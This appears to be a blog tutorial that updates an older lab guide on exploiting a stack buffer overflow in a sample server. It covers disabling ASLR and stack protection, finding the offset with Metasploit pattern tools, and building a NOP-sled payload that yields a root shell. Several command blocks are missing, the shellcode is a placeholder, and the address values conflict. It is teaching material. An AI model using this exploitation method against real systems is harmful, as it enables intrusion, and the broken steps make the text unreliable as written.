This is essentially the tutorial created by David Hoelzer that you can download here. It’s a fairly decent introductory tutorial showing you how to diagnose and then create an exploit for a standard Buffer Overflow (BOF) vulnerability.
That said, it’s a fairly old guide, and some time ago I did this ‘update’ to it, walking you through the code and also showing you how to ‘undo’ the things that modern linux kernels/SELinux do to prevent these actions. You have to work really hard to undo the good work of devs over the last few years, but here we go…
First, we have to turn on coredumping!
And you may also need to do this to turn off ASLR (Address Space Layout Randomisation):
…or for red hat users:
Now we are free to compile our example. Formerly we would do this:
But now we need to recompile like this:
or even using:
Now we need to allow executable stacks:
Ok, so not open a telnet/netcat session to the server port in a new terminal window:
Now, type something, see what it does, and then we can start messing with it! :P Let’s send a thousand ‘A’s…
#now inspect the core file
gdb –core core
info registers
#now use pattern_create
cd /usr/share/metasploit-framework/tools/
echo $(./pattern_create.rb 2000) > /root/exploit-tut/meta-pattern
now use gdb --core=core, then ask info reg, to get the offset memory (just about command prompt) x/64x {some address} is the command to use.
now plug this into pattern_offset.rb:
…and now we know how big the buffer is - should be 132 or thereabouts.
Find the starting pointer - on this run, we did the 10000 ‘A’s, and got 0xbfe0dbe8 from the coredump.
Now can compile the shellcode with gcc -c shellcode.s and then dump the object to get the hex codes using objdump -d shellcode.o
Now we can craft the shellcode exploit - we load a nop-sled \x90, enough to pad out the input, then the shellcode, and finally the address form before. Wham bam, exploit done.
First, generate a raw file:
perl -e 'print "\xBY\xTE\xCO\xDE\xHE\xRE";' > shellcode_raw
and then calculate the size of the shellcode_raw (it’s 28 bytes) ls -l shellcode_raw
Now get yourself a nop-sled (we’ll just put it in a file, so it’ll be easier later:
perl -e 'print "\x90"x104;' > nopsled
And lastly, load that address into a raw file… NB reverse byte order!
perl -e 'print "\xef\xbe\xad\xde";' > address
Remember, for me this was 0xbffc63f8
perl -e 'print "\x48\xea\xff\xbf";' > address
Putting it all together:
Notice it’s 136 bytes (for my setup), and it should be 4 bytes longer than you need to be able to overwrite the return address. Now launch the exploit…
A root shell should be loaded on the screen. Job done.
And, finally, here’s the example server from the original author’s site (original is here ):